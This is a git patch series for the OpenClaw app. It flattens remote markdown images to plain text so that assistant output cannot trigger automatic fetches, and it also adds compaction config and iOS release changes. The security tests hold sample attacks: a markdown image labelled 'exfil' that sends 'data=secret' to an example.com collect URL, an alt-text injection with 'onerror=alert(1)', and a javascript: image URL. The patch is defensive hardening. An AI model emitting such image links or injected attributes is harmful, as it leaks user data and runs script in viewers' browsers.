a/apps/shared/OpenClawKit/Sources/OpenClawChatUI/ChatMarkdownPreprocessor.swift b/apps/shared/OpenClawKit/Sources/OpenClawChatUI/ChatMarkdownPreprocessor.swift index 0b012586672..746721e9d99 100644 --- a/apps/shared/OpenClawKit/Sources/OpenClawChatUI/ChatMarkdownPreprocessor.swift +++ b/apps/shared/OpenClawKit/Sources/OpenClawChatUI/ChatMarkdownPreprocessor.swift @@ -13,6 +13,8 @@ enum ChatMarkdownPreprocessor { "Chat history since last reply (untrusted, for context):", ] + private static let markdownImagePattern = #"!\[([^\]]*)\]\(([^)]+)\)"# + struct InlineImage: Identifiable { let id = UUID() let label: String @@ -27,8 +29,7 @@ enum ChatMarkdownPreprocessor { static func preprocess(markdown raw: String) -> Result { let withoutContextBlocks = self.stripInboundContextBlocks(raw) let withoutTimestamps = self.stripPrefixedTimestamps(withoutContextBlocks) - let pattern = #"!\[([^\]]*)\]\((data:image\/[^;]+;base64,[^)]+)\)"# - guard let re = try? NSRegularExpression(pattern: pattern) else { + guard let re = try? NSRegularExpression(pattern: self.markdownImagePattern) else { return Result(cleaned: self.normalize(withoutTimestamps), images: []) } @@ -44,24 +45,41 @@ enum ChatMarkdownPreprocessor { for match in matches.reversed() { guard match.numberOfRanges >= 3 else { continue } let label = ns.substring(with: match.range(at: 1)) - let dataURL = ns.substring(with: match.range(at: 2)) - - let image: OpenClawPlatformImage? = { - guard let comma = dataURL.firstIndex(of: ",") else { return nil } - let b64 = String(dataURL[dataURL.index(after: comma)...]) - guard let data = Data(base64Encoded: b64) else { return nil } - return OpenClawPlatformImage(data: data) - }() - images.append(InlineImage(label: label, image: image)) + let source = ns.substring(with: match.range(at: 2)) let start = cleaned.index(cleaned.startIndex, offsetBy: match.range.location) let end = cleaned.index(start, offsetBy: match.range.length) - cleaned.replaceSubrange(start.. InlineImage? { + let trimmed = source.trimmingCharacters(in: .whitespacesAndNewlines) + guard let comma = trimmed.firstIndex(of: ","), + trimmed[.. String { + let trimmed = label.trimmingCharacters(in: .whitespacesAndNewlines) + return trimmed.isEmpty ? "image" : trimmed + } + private static func stripInboundContextBlocks(_ raw: String) -> String { guard self.inboundContextHeaders.contains(where: raw.contains) else { return raw diff --git a/apps/shared/OpenClawKit/Tests/OpenClawKitTests/ChatMarkdownPreprocessorTests.swift b/apps/shared/OpenClawKit/Tests/OpenClawKitTests/ChatMarkdownPreprocessorTests.swift index 781a325f3cf..66b9d49fa8e 100644 --- a/apps/shared/OpenClawKit/Tests/OpenClawKitTests/ChatMarkdownPreprocessorTests.swift +++ b/apps/shared/OpenClawKit/Tests/OpenClawKitTests/ChatMarkdownPreprocessorTests.swift @@ -18,6 +18,30 @@ struct ChatMarkdownPreprocessorTests { #expect(result.images.first?.image != nil) } + @Test func flattensRemoteMarkdownImagesIntoText() { + let base64 = "iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAADUlEQVQIHWP4////GQAJ+wP/2hN8NwAAAABJRU5ErkJggg==" + let markdown = """ + ![Leak](https://example.com/collect?x=1) + + ![Pixel](data:image/png;base64,\(base64)) + """ + + let result = ChatMarkdownPreprocessor.preprocess(markdown: markdown) + + #expect(result.cleaned == "Leak") + #expect(result.images.count == 1) + #expect(result.images.first?.image != nil) + } + + @Test func usesFallbackTextForUnlabeledRemoteMarkdownImages() { + let markdown = "![](https://example.com/image.png)" + + let result = ChatMarkdownPreprocessor.preprocess(markdown: markdown) + + #expect(result.cleaned == "image") + #expect(result.images.isEmpty) + } + @Test func stripsInboundUntrustedContextBlocks() { let markdown = """ Conversation info (untrusted metadata): diff --git a/src/auto-reply/reply/export-html/template.js b/src/auto-reply/reply/export-html/template.js index 565eeda7f65..521a183ea3c 100644 --- a/src/auto-reply/reply/export-html/template.js +++ b/src/auto-reply/reply/export-html/template.js @@ -1712,6 +1712,22 @@ return text.replace(/<(?=[a-zA-Z/])/g, "<"); } + const INLINE_DATA_IMAGE_RE = /^data:image\/[a-z0-9.+-]+;base64,/i; + + function normalizeMarkdownImageLabel(text) { + const trimmed = typeof text === "string" ? text.trim() : ""; + return trimmed || "image"; + } + + function renderMarkdownImage(token) { + const label = normalizeMarkdownImageLabel(token?.text); + const href = typeof token?.href === "string" ? token.href.trim() : ""; + if (!INLINE_DATA_IMAGE_RE.test(href)) { + return escapeHtml(label); + } + return `${escapeHtml(label)}`; + } + // Configure marked with syntax highlighting and HTML escaping for text marked.use({ breaks: true, @@ -1750,6 +1766,9 @@ html(token) { return escapeHtml(token.text); }, + image(token) { + return renderMarkdownImage(token); + }, }, }); diff --git a/src/auto-reply/reply/export-html/template.security.test.ts b/src/auto-reply/reply/export-html/template.security.test.ts index 2837df7036b..aedf98c5986 100644 --- a/src/auto-reply/reply/export-html/template.security.test.ts +++ b/src/auto-reply/reply/export-html/template.security.test.ts @@ -250,4 +250,38 @@ describe("export html security hardening", () => { expect(img?.getAttribute("onerror")).toBeNull(); expect(img?.getAttribute("src")).toBe("data:application/octet-stream;base64,AAAA"); }); + + it("flattens remote markdown images but keeps data-image markdown", () => { + const dataImage = "data:image/png;base64,AAAA"; + const session: SessionData = { + header: { id: "session-4", timestamp: now() }, + entries: [ + { + id: "1", + parentId: null, + timestamp: now(), + type: "message", + message: { + role: "assistant", + content: [ + { + type: "text", + text: `Leak:\n\n![exfil](https://example.com/collect?data=secret)\n\n![pixel](${dataImage})`, + }, + ], + }, + }, + ], + leafId: "1", + systemPrompt: "", + tools: [], + }; + + const { document } = renderTemplate(session); + const messages = document.getElementById("messages"); + expect(messages).toBeTruthy(); + expect(messages?.querySelector('img[src^="https://"]')).toBeNull(); + expect(messages?.textContent).toContain("exfil"); + expect(messages?.querySelector(`img[src="${dataImage}"]`)).toBeTruthy(); + }); }); diff --git a/ui/src/ui/markdown.test.ts b/ui/src/ui/markdown.test.ts index e355ff922a4..279cb2b53fb 100644 --- a/ui/src/ui/markdown.test.ts +++ b/ui/src/ui/markdown.test.ts @@ -30,11 +30,10 @@ describe("toSanitizedMarkdownHtml", () => { expect(html).toContain("console.log(1)"); }); - it("preserves img tags with src and alt from markdown images (#15437)", () => { + it("flattens remote markdown images into alt text", () => { const html = toSanitizedMarkdownHtml("![Alt text](https://example.com/image.png)"); - expect(html).toContain(" { @@ -43,11 +42,17 @@ describe("toSanitizedMarkdownHtml", () => { expect(html).toContain("data:image/png;base64,"); }); - it("strips javascript image urls", () => { + it("flattens non-data markdown image urls", () => { const html = toSanitizedMarkdownHtml("![X](javascript:alert(1))"); - expect(html).toContain(" { + const html = toSanitizedMarkdownHtml("![](https://example.com/image.png)"); + expect(html).not.toContain(" { diff --git a/ui/src/ui/markdown.ts b/ui/src/ui/markdown.ts index 354d4765265..f98ef017351 100644 --- a/ui/src/ui/markdown.ts +++ b/ui/src/ui/markdown.ts @@ -43,6 +43,7 @@ const MARKDOWN_CHAR_LIMIT = 140_000; const MARKDOWN_PARSE_LIMIT = 40_000; const MARKDOWN_CACHE_LIMIT = 200; const MARKDOWN_CACHE_MAX_CHARS = 50_000; +const INLINE_DATA_IMAGE_RE = /^data:image\/[a-z0-9.+-]+;base64,/i; const markdownCache = new Map(); function getCachedMarkdown(key: string): string | null { @@ -137,6 +138,19 @@ export function toSanitizedMarkdownHtml(markdown: string): string { // pages) as formatted output is confusing UX (#13937). const htmlEscapeRenderer = new marked.Renderer(); htmlEscapeRenderer.html = ({ text }: { text: string }) => escapeHtml(text); +htmlEscapeRenderer.image = (token: { href?: string | null; text?: string | null }) => { + const label = normalizeMarkdownImageLabel(token.text); + const href = token.href?.trim() ?? ""; + if (!INLINE_DATA_IMAGE_RE.test(href)) { + return escapeHtml(label); + } + return `${escapeHtml(label)}`; +}; + +function normalizeMarkdownImageLabel(text?: string | null): string { + const trimmed = text?.trim(); + return trimmed ? trimmed : "image"; +} function escapeHtml(value: string): string { return value From d25b493c7f79d13e7dca0278f66aeeb6c05f4d72 Mon Sep 17 00:00:00 2001 From: Ayaan Zaidi Date: Sat, 7 Mar 2026 19:26:29 +0530 Subject: [PATCH 122/844] fix: address markdown image review feedback --- .../ChatMarkdownPreprocessor.swift | 10 +++--- .../ChatMarkdownPreprocessorTests.swift | 9 +++++ src/auto-reply/reply/export-html/template.js | 6 +++- .../export-html/template.security.test.ts | 34 +++++++++++++++++++ 4 files changed, 52 insertions(+), 7 deletions(-) diff --git a/apps/shared/OpenClawKit/Sources/OpenClawChatUI/ChatMarkdownPreprocessor.swift b/apps/shared/OpenClawKit/Sources/OpenClawChatUI/ChatMarkdownPreprocessor.swift index 746721e9d99..f03448140dc 100644 --- a/apps/shared/OpenClawKit/Sources/OpenClawChatUI/ChatMarkdownPreprocessor.swift +++ b/apps/shared/OpenClawKit/Sources/OpenClawChatUI/ChatMarkdownPreprocessor.swift @@ -40,24 +40,22 @@ enum ChatMarkdownPreprocessor { if matches.isEmpty { return Result(cleaned: self.normalize(withoutTimestamps), images: []) } var images: [InlineImage] = [] - var cleaned = withoutTimestamps + let cleaned = NSMutableString(string: withoutTimestamps) for match in matches.reversed() { guard match.numberOfRanges >= 3 else { continue } let label = ns.substring(with: match.range(at: 1)) let source = ns.substring(with: match.range(at: 2)) - let start = cleaned.index(cleaned.startIndex, offsetBy: match.range.location) - let end = cleaned.index(start, offsetBy: match.range.length) if let inlineImage = self.inlineImage(label: label, source: source) { images.append(inlineImage) - cleaned.replaceSubrange(start.. InlineImage? { diff --git a/apps/shared/OpenClawKit/Tests/OpenClawKitTests/ChatMarkdownPreprocessorTests.swift b/apps/shared/OpenClawKit/Tests/OpenClawKitTests/ChatMarkdownPreprocessorTests.swift index 66b9d49fa8e..576e821c1e8 100644 --- a/apps/shared/OpenClawKit/Tests/OpenClawKitTests/ChatMarkdownPreprocessorTests.swift +++ b/apps/shared/OpenClawKit/Tests/OpenClawKitTests/ChatMarkdownPreprocessorTests.swift @@ -42,6 +42,15 @@ struct ChatMarkdownPreprocessorTests { #expect(result.images.isEmpty) } + @Test func handlesUnicodeBeforeRemoteMarkdownImages() { + let markdown = "🙂![Leak](https://example.com/image.png)" + + let result = ChatMarkdownPreprocessor.preprocess(markdown: markdown) + + #expect(result.cleaned == "🙂Leak") + #expect(result.images.isEmpty) + } + @Test func stripsInboundUntrustedContextBlocks() { let markdown = """ Conversation info (untrusted metadata): diff --git a/src/auto-reply/reply/export-html/template.js b/src/auto-reply/reply/export-html/template.js index 521a183ea3c..da12d2625cf 100644 --- a/src/auto-reply/reply/export-html/template.js +++ b/src/auto-reply/reply/export-html/template.js @@ -665,6 +665,10 @@ return div.innerHTML; } + function escapeHtmlAttr(text) { + return escapeHtml(text).replaceAll('"', """).replaceAll("'", "'"); + } + // Validate image fields before interpolating data URLs. const SAFE_IMAGE_MIME_RE = /^image\/(png|jpeg|gif|webp|svg\+xml|bmp|tiff|avif)$/i; const SAFE_BASE64_RE = /^[A-Za-z0-9+/]+={0,2}$/; @@ -1725,7 +1729,7 @@ if (!INLINE_DATA_IMAGE_RE.test(href)) { return escapeHtml(label); } - return `${escapeHtml(label)}`; + return `${escapeHtmlAttr(label)}`; } // Configure marked with syntax highlighting and HTML escaping for text diff --git a/src/auto-reply/reply/export-html/template.security.test.ts b/src/auto-reply/reply/export-html/template.security.test.ts index aedf98c5986..9a42fd22337 100644 --- a/src/auto-reply/reply/export-html/template.security.test.ts +++ b/src/auto-reply/reply/export-html/template.security.test.ts @@ -284,4 +284,38 @@ describe("export html security hardening", () => { expect(messages?.textContent).toContain("exfil"); expect(messages?.querySelector(`img[src="${dataImage}"]`)).toBeTruthy(); }); + + it("escapes markdown data-image attributes", () => { + const dataImage = "data:image/png;base64,AAAA"; + const session: SessionData = { + header: { id: "session-5", timestamp: now() }, + entries: [ + { + id: "1", + parentId: null, + timestamp: now(), + type: "message", + message: { + role: "assistant", + content: [ + { + type: "text", + text: `![x" onerror="alert(1)](${dataImage})`, + }, + ], + }, + }, + ], + leafId: "1", + systemPrompt: "", + tools: [], + }; + + const { document } = renderTemplate(session); + const img = document.querySelector("#messages img"); + expect(img).toBeTruthy(); + expect(img?.getAttribute("onerror")).toBeNull(); + expect(img?.getAttribute("alt")).toBe('x" onerror="alert(1)'); + expect(img?.getAttribute("src")).toBe(dataImage); + }); }); From bdd0f74188bfae6b4fa7da94697a999730570849 Mon Sep 17 00:00:00 2001 From: Ayaan Zaidi Date: Sat, 7 Mar 2026 19:46:20 +0530 Subject: [PATCH 123/844] docs: add changelog for markdown image hardening (#38895) --- CHANGELOG.md | 1 + 1 file changed, 1 insertion(+) diff --git a/CHANGELOG.md b/CHANGELOG.md index 5944ff51743..fa75cd58cae 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -231,6 +231,7 @@ Docs: https://docs.openclaw.ai - Daemon/systemd fresh-install probe: check for OpenClaw's managed user unit before running `systemctl --user is-enabled`, so first-time Linux installs no longer fail on generic missing-unit probe errors. (#38819) Thanks @adaHubble. - Gateway/Windows restart supervision: relaunch task-managed gateways through Scheduled Task with quoted helper-script command paths, distinguish restart-capable supervisors per platform, and stop orphaned Windows gateway children during self-restart. (#38825) Thanks @obviyus. - Telegram/native topic command routing: resolve forum-topic native commands through the same conversation route as inbound messages so topic `agentId` overrides and bound topic sessions target the active session instead of the default topic-parent session. (#38871) Thanks @obviyus. +- Markdown/assistant image hardening: flatten remote markdown images to plain text across the Control UI, exported HTML, and shared Swift chat while keeping inline `data:image/...` markdown renderable, so model output no longer triggers automatic remote image fetches. (#38895) Thanks @obviyus. ## 2026.3.2 From 4c0b873a4dd215072dfe44d75030f512f79904a1 Mon Sep 17 00:00:00 2001 From: Rodrigo Uroz Date: Sat, 7 Mar 2026 12:13:13 -0300 Subject: [PATCH 124/844] Config/Compaction: expose safeguard preserve and quality settings (#25557) Merged via squash. Prepared head SHA: ea9904039a35d8d9ced55cd6d1c459a46666954d Co-authored-by: rodrigouroz <384037+rodrigouroz@users.noreply.github.com> Co-authored-by: jalehman <550978+jalehman@users.noreply.github.com> Reviewed-by: @jalehman --- CHANGELOG.md | 2 + src/agents/pi-embedded-runner/extensions.ts | 1 + .../compaction-safeguard.test.ts | 35 +++++++++++++++++ src/config/config.compaction-settings.test.ts | 39 +++++++++++++++++++ src/config/schema.help.quality.test.ts | 5 +++ src/config/schema.help.ts | 2 + src/config/schema.labels.ts | 1 + src/config/types.agent-defaults.ts | 2 + src/config/zod-schema.agent-defaults.ts | 1 + 9 files changed, 88 insertions(+) diff --git a/CHANGELOG.md b/CHANGELOG.md index fa75cd58cae..1a42a34c583 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -28,6 +28,7 @@ Docs: https://docs.openclaw.ai - Tools/Diffs guidance: restore a short system-prompt hint for enabled diffs while keeping the detailed instructions in the companion skill, so diffs usage guidance stays out of user-prompt space. (#36904) thanks @gumadeiras. - Tools/Diffs guidance loading: move diffs usage guidance from unconditional prompt-hook injection to the plugin companion skill path, reducing unrelated-turn prompt noise while keeping diffs tool behavior unchanged. (#32630) thanks @sircrumpet. - Docs/Web search: remove outdated Brave free-tier wording and replace prescriptive AI ToS guidance with neutral compliance language in Brave setup docs. (#26860) Thanks @HenryLoenwind. +- Config/Compaction safeguard tuning: expose `agents.defaults.compaction.recentTurnsPreserve` and quality-guard retry knobs through the validated config surface and embedded-runner wiring, with regression coverage for real config loading and schema metadata. (#25557) thanks @rodrigouroz. ### Breaking @@ -232,6 +233,7 @@ Docs: https://docs.openclaw.ai - Gateway/Windows restart supervision: relaunch task-managed gateways through Scheduled Task with quoted helper-script command paths, distinguish restart-capable supervisors per platform, and stop orphaned Windows gateway children during self-restart. (#38825) Thanks @obviyus. - Telegram/native topic command routing: resolve forum-topic native commands through the same conversation route as inbound messages so topic `agentId` overrides and bound topic sessions target the active session instead of the default topic-parent session. (#38871) Thanks @obviyus. - Markdown/assistant image hardening: flatten remote markdown images to plain text across the Control UI, exported HTML, and shared Swift chat while keeping inline `data:image/...` markdown renderable, so model output no longer triggers automatic remote image fetches. (#38895) Thanks @obviyus. +- Config/compaction safeguard settings: regression-test `agents.defaults.compaction.recentTurnsPreserve` through `loadConfig()` and cover the new help metadata entry so the exposed preserve knob stays wired through schema validation and config UX. (#25557) thanks @rodrigouroz. ## 2026.3.2 diff --git a/src/agents/pi-embedded-runner/extensions.ts b/src/agents/pi-embedded-runner/extensions.ts index 8833e175461..251063c6f19 100644 --- a/src/agents/pi-embedded-runner/extensions.ts +++ b/src/agents/pi-embedded-runner/extensions.ts @@ -87,6 +87,7 @@ export function buildEmbeddedExtensionFactories(params: { qualityGuardEnabled: qualityGuardCfg?.enabled ?? false, qualityGuardMaxRetries: qualityGuardCfg?.maxRetries, model: params.model, + recentTurnsPreserve: compactionCfg?.recentTurnsPreserve, }); factories.push(compactionSafeguardExtension); } diff --git a/src/agents/pi-extensions/compaction-safeguard.test.ts b/src/agents/pi-extensions/compaction-safeguard.test.ts index e694b6137eb..c88ce044262 100644 --- a/src/agents/pi-extensions/compaction-safeguard.test.ts +++ b/src/agents/pi-extensions/compaction-safeguard.test.ts @@ -5,7 +5,9 @@ import type { AgentMessage } from "@mariozechner/pi-agent-core"; import type { Api, Model } from "@mariozechner/pi-ai"; import type { ExtensionAPI, ExtensionContext } from "@mariozechner/pi-coding-agent"; import { describe, expect, it, vi } from "vitest"; +import type { OpenClawConfig } from "../../config/config.js"; import * as compactionModule from "../compaction.js"; +import { buildEmbeddedExtensionFactories } from "../pi-embedded-runner/extensions.js"; import { castAgentMessage } from "../test-helpers/agent-message-fixtures.js"; import { getCompactionSafeguardRuntime, @@ -403,6 +405,39 @@ describe("compaction-safeguard runtime registry", () => { model, }); }); + + it("wires oversized safeguard runtime values when config validation is bypassed", () => { + const sessionManager = {} as unknown as Parameters< + typeof buildEmbeddedExtensionFactories + >[0]["sessionManager"]; + const cfg = { + agents: { + defaults: { + compaction: { + mode: "safeguard", + recentTurnsPreserve: 99, + qualityGuard: { maxRetries: 99 }, + }, + }, + }, + } as OpenClawConfig; + + buildEmbeddedExtensionFactories({ + cfg, + sessionManager, + provider: "anthropic", + modelId: "claude-3-opus", + model: { + contextWindow: 200_000, + } as Parameters[0]["model"], + }); + + const runtime = getCompactionSafeguardRuntime(sessionManager); + expect(runtime?.qualityGuardMaxRetries).toBe(99); + expect(runtime?.recentTurnsPreserve).toBe(99); + expect(resolveQualityGuardMaxRetries(runtime?.qualityGuardMaxRetries)).toBe(3); + expect(resolveRecentTurnsPreserve(runtime?.recentTurnsPreserve)).toBe(12); + }); }); describe("compaction-safeguard recent-turn preservation", () => { diff --git a/src/config/config.compaction-settings.test.ts b/src/config/config.compaction-settings.test.ts index 04674a7a7ac..0943a47949f 100644 --- a/src/config/config.compaction-settings.test.ts +++ b/src/config/config.compaction-settings.test.ts @@ -89,4 +89,43 @@ describe("config compaction settings", () => { }, ); }); + + it("preserves recent turn safeguard values through loadConfig()", async () => { + await withTempHomeConfig( + { + agents: { + defaults: { + compaction: { + mode: "safeguard", + recentTurnsPreserve: 4, + }, + }, + }, + }, + async () => { + const cfg = loadConfig(); + expect(cfg.agents?.defaults?.compaction?.recentTurnsPreserve).toBe(4); + }, + ); + }); + + it("preserves oversized quality guard retry values for runtime clamping", async () => { + await withTempHomeConfig( + { + agents: { + defaults: { + compaction: { + qualityGuard: { + maxRetries: 99, + }, + }, + }, + }, + }, + async () => { + const cfg = loadConfig(); + expect(cfg.agents?.defaults?.compaction?.qualityGuard?.maxRetries).toBe(99); + }, + ); + }); }); diff --git a/src/config/schema.help.quality.test.ts b/src/config/schema.help.quality.test.ts index 2ef7d8aae3a..ab685448fdf 100644 --- a/src/config/schema.help.quality.test.ts +++ b/src/config/schema.help.quality.test.ts @@ -372,6 +372,7 @@ const TARGET_KEYS = [ "agents.defaults.compaction.maxHistoryShare", "agents.defaults.compaction.identifierPolicy", "agents.defaults.compaction.identifierInstructions", + "agents.defaults.compaction.recentTurnsPreserve", "agents.defaults.compaction.qualityGuard", "agents.defaults.compaction.qualityGuard.enabled", "agents.defaults.compaction.qualityGuard.maxRetries", @@ -796,6 +797,10 @@ describe("config help copy quality", () => { expect(identifierPolicy.includes('"off"')).toBe(true); expect(identifierPolicy.includes('"custom"')).toBe(true); + const recentTurnsPreserve = FIELD_HELP["agents.defaults.compaction.recentTurnsPreserve"]; + expect(/recent.*turn|verbatim/i.test(recentTurnsPreserve)).toBe(true); + expect(/default:\s*3/i.test(recentTurnsPreserve)).toBe(true); + const postCompactionSections = FIELD_HELP["agents.defaults.compaction.postCompactionSections"]; expect(/Session Startup|Red Lines/i.test(postCompactionSections)).toBe(true); expect(/Every Session|Safety/i.test(postCompactionSections)).toBe(true); diff --git a/src/config/schema.help.ts b/src/config/schema.help.ts index c97aa0408a4..f13944cb127 100644 --- a/src/config/schema.help.ts +++ b/src/config/schema.help.ts @@ -999,6 +999,8 @@ export const FIELD_HELP: Record = { 'Identifier-preservation policy for compaction summaries: "strict" prepends built-in opaque-identifier retention guidance (default), "off" disables this prefix, and "custom" uses identifierInstructions. Keep "strict" unless you have a specific compatibility need.', "agents.defaults.compaction.identifierInstructions": 'Custom identifier-preservation instruction text used when identifierPolicy="custom". Keep this explicit and safety-focused so compaction summaries do not rewrite opaque IDs, URLs, hosts, or ports.', + "agents.defaults.compaction.recentTurnsPreserve": + "Number of most recent user/assistant turns kept verbatim outside safeguard summarization (default: 3). Raise this to preserve exact recent dialogue context, or lower it to maximize compaction savings.", "agents.defaults.compaction.qualityGuard": "Optional quality-audit retry settings for safeguard compaction summaries. Leave this disabled unless you explicitly want summary audits and one-shot regeneration on failed checks.", "agents.defaults.compaction.qualityGuard.enabled": diff --git a/src/config/schema.labels.ts b/src/config/schema.labels.ts index e14e66cb266..9266516b957 100644 --- a/src/config/schema.labels.ts +++ b/src/config/schema.labels.ts @@ -452,6 +452,7 @@ export const FIELD_LABELS: Record = { "agents.defaults.compaction.maxHistoryShare": "Compaction Max History Share", "agents.defaults.compaction.identifierPolicy": "Compaction Identifier Policy", "agents.defaults.compaction.identifierInstructions": "Compaction Identifier Instructions", + "agents.defaults.compaction.recentTurnsPreserve": "Compaction Preserve Recent Turns", "agents.defaults.compaction.qualityGuard": "Compaction Quality Guard", "agents.defaults.compaction.qualityGuard.enabled": "Compaction Quality Guard Enabled", "agents.defaults.compaction.qualityGuard.maxRetries": "Compaction Quality Guard Max Retries", diff --git a/src/config/types.agent-defaults.ts b/src/config/types.agent-defaults.ts index a7c40a5016b..a242d0bbcc1 100644 --- a/src/config/types.agent-defaults.ts +++ b/src/config/types.agent-defaults.ts @@ -306,6 +306,8 @@ export type AgentCompactionConfig = { reserveTokensFloor?: number; /** Max share of context window for history during safeguard pruning (0.1–0.9, default 0.5). */ maxHistoryShare?: number; + /** Preserve this many most-recent user/assistant turns verbatim in compaction summary context. */ + recentTurnsPreserve?: number; /** Identifier-preservation instruction policy for compaction summaries. */ identifierPolicy?: AgentCompactionIdentifierPolicy; /** Custom identifier-preservation instructions used when identifierPolicy is "custom". */ diff --git a/src/config/zod-schema.agent-defaults.ts b/src/config/zod-schema.agent-defaults.ts index 7c43a5a382d..1e83a92f54c 100644 --- a/src/config/zod-schema.agent-defaults.ts +++ b/src/config/zod-schema.agent-defaults.ts @@ -95,6 +95,7 @@ export const AgentDefaultsSchema = z .union([z.literal("strict"), z.literal("off"), z.literal("custom")]) .optional(), identifierInstructions: z.string().optional(), + recentTurnsPreserve: z.number().int().min(0).max(12).optional(), qualityGuard: z .object({ enabled: z.boolean().optional(), From 43ab4f33ad63422b92d9e6e6553f8400e2686a43 Mon Sep 17 00:00:00 2001 From: Nimrod Gutman Date: Sat, 7 Mar 2026 16:39:53 +0200 Subject: [PATCH 125/844] feat(ios): prepare app store connect release assets --- apps/ios/LocalSigning.xcconfig.example | 11 +- apps/ios/Signing.xcconfig | 11 +- .../Gateway/GatewaySettingsStore.swift | 14 +- apps/ios/Sources/Info.plist | 14 +- apps/ios/Sources/RootCanvas.swift | 96 +++++---- apps/ios/Tests/Info.plist | 14 +- .../AppIcon.appiconset/watch-app-38@2x.png | Bin 7845 -> 5751 bytes .../AppIcon.appiconset/watch-app-40@2x.png | Bin 8759 -> 6619 bytes .../AppIcon.appiconset/watch-app-41@2x.png | Bin 9281 -> 6998 bytes .../AppIcon.appiconset/watch-app-44@2x.png | Bin 10297 -> 7921 bytes .../AppIcon.appiconset/watch-app-45@2x.png | Bin 10544 -> 8126 bytes .../watch-companion-29@2x.png | Bin 5032 -> 3851 bytes .../watch-companion-29@3x.png | Bin 8650 -> 6546 bytes .../watch-marketing-1024.png | Bin 206341 -> 516079 bytes .../watch-notification-38@2x.png | Bin 3893 -> 3142 bytes .../watch-notification-42@2x.png | Bin 4673 -> 3651 bytes .../watch-quicklook-38@2x.png | Bin 19776 -> 18402 bytes .../watch-quicklook-42@2x.png | Bin 23404 -> 23204 bytes .../watch-quicklook-44@2x.png | Bin 26236 -> 28008 bytes .../watch-quicklook-45@2x.png | Bin 28860 -> 32688 bytes apps/ios/fastlane/Appfile | 10 +- apps/ios/fastlane/Fastfile | 124 ++++++++++-- apps/ios/fastlane/SETUP.md | 42 +++- apps/ios/fastlane/metadata/README.md | 47 +++++ .../fastlane/metadata/en-US/description.txt | 18 ++ apps/ios/fastlane/metadata/en-US/keywords.txt | 1 + .../fastlane/metadata/en-US/marketing_url.txt | 1 + apps/ios/fastlane/metadata/en-US/name.txt | 1 + .../fastlane/metadata/en-US/privacy_url.txt | 1 + .../metadata/en-US/promotional_text.txt | 1 + .../fastlane/metadata/en-US/release_notes.txt | 1 + apps/ios/fastlane/metadata/en-US/subtitle.txt | 1 + .../fastlane/metadata/en-US/support_url.txt | 1 + .../review_information/email_address.txt | 1 + .../review_information/first_name.txt | 1 + .../metadata/review_information/last_name.txt | 1 + .../metadata/review_information/notes.txt | 1 + .../review_information/phone_number.txt | 1 + .../session-2026-03-07/canvas-cool.png | Bin 0 -> 3079762 bytes .../session-2026-03-07/onboarding.png | Bin 0 -> 157240 bytes .../session-2026-03-07/settings.png | Bin 0 -> 306972 bytes .../session-2026-03-07/talk-mode.png | Bin 0 -> 1540422 bytes scripts/ios-asc-keychain-setup.sh | 187 ++++++++++++++++++ scripts/ios-configure-signing.sh | 5 +- 44 files changed, 516 insertions(+), 90 deletions(-) create mode 100644 apps/ios/fastlane/metadata/README.md create mode 100644 apps/ios/fastlane/metadata/en-US/description.txt create mode 100644 apps/ios/fastlane/metadata/en-US/keywords.txt create mode 100644 apps/ios/fastlane/metadata/en-US/marketing_url.txt create mode 100644 apps/ios/fastlane/metadata/en-US/name.txt create mode 100644 apps/ios/fastlane/metadata/en-US/privacy_url.txt create mode 100644 apps/ios/fastlane/metadata/en-US/promotional_text.txt create mode 100644 apps/ios/fastlane/metadata/en-US/release_notes.txt create mode 100644 apps/ios/fastlane/metadata/en-US/subtitle.txt create mode 100644 apps/ios/fastlane/metadata/en-US/support_url.txt create mode 100644 apps/ios/fastlane/metadata/review_information/email_address.txt create mode 100644 apps/ios/fastlane/metadata/review_information/first_name.txt create mode 100644 apps/ios/fastlane/metadata/review_information/last_name.txt create mode 100644 apps/ios/fastlane/metadata/review_information/notes.txt create mode 100644 apps/ios/fastlane/metadata/review_information/phone_number.txt create mode 100644 apps/ios/screenshots/session-2026-03-07/canvas-cool.png create mode 100644 apps/ios/screenshots/session-2026-03-07/onboarding.png create mode 100644 apps/ios/screenshots/session-2026-03-07/settings.png create mode 100644 apps/ios/screenshots/session-2026-03-07/talk-mode.png create mode 100755 scripts/ios-asc-keychain-setup.sh diff --git a/apps/ios/LocalSigning.xcconfig.example b/apps/ios/LocalSigning.xcconfig.example index bfa610fb350..64e8f119dec 100644 --- a/apps/ios/LocalSigning.xcconfig.example +++ b/apps/ios/LocalSigning.xcconfig.example @@ -2,12 +2,13 @@ // This file is only an example and should stay committed. OPENCLAW_CODE_SIGN_STYLE = Automatic -OPENCLAW_DEVELOPMENT_TEAM = P5Z8X89DJL +OPENCLAW_DEVELOPMENT_TEAM = YOUR_TEAM_ID -OPENCLAW_APP_BUNDLE_ID = ai.openclaw.ios.test.mariano -OPENCLAW_SHARE_BUNDLE_ID = ai.openclaw.ios.test.mariano.share -OPENCLAW_WATCH_APP_BUNDLE_ID = ai.openclaw.ios.test.mariano.watchkitapp -OPENCLAW_WATCH_EXTENSION_BUNDLE_ID = ai.openclaw.ios.test.mariano.watchkitapp.extension +OPENCLAW_APP_BUNDLE_ID = ai.openclaw.client +OPENCLAW_SHARE_BUNDLE_ID = ai.openclaw.client.share +OPENCLAW_ACTIVITY_WIDGET_BUNDLE_ID = ai.openclaw.client.activitywidget +OPENCLAW_WATCH_APP_BUNDLE_ID = ai.openclaw.client.watchkitapp +OPENCLAW_WATCH_EXTENSION_BUNDLE_ID = ai.openclaw.client.watchkitapp.extension // Leave empty with automatic signing. OPENCLAW_APP_PROFILE = diff --git a/apps/ios/Signing.xcconfig b/apps/ios/Signing.xcconfig index f942fc0224f..5966d6e2c2f 100644 --- a/apps/ios/Signing.xcconfig +++ b/apps/ios/Signing.xcconfig @@ -5,11 +5,14 @@ OPENCLAW_CODE_SIGN_STYLE = Manual OPENCLAW_DEVELOPMENT_TEAM = Y5PE65HELJ -OPENCLAW_APP_BUNDLE_ID = ai.openclaw.ios -OPENCLAW_SHARE_BUNDLE_ID = ai.openclaw.ios.share +OPENCLAW_APP_BUNDLE_ID = ai.openclaw.client +OPENCLAW_SHARE_BUNDLE_ID = ai.openclaw.client.share +OPENCLAW_WATCH_APP_BUNDLE_ID = ai.openclaw.client.watchkitapp +OPENCLAW_WATCH_EXTENSION_BUNDLE_ID = ai.openclaw.client.watchkitapp.extension +OPENCLAW_ACTIVITY_WIDGET_BUNDLE_ID = 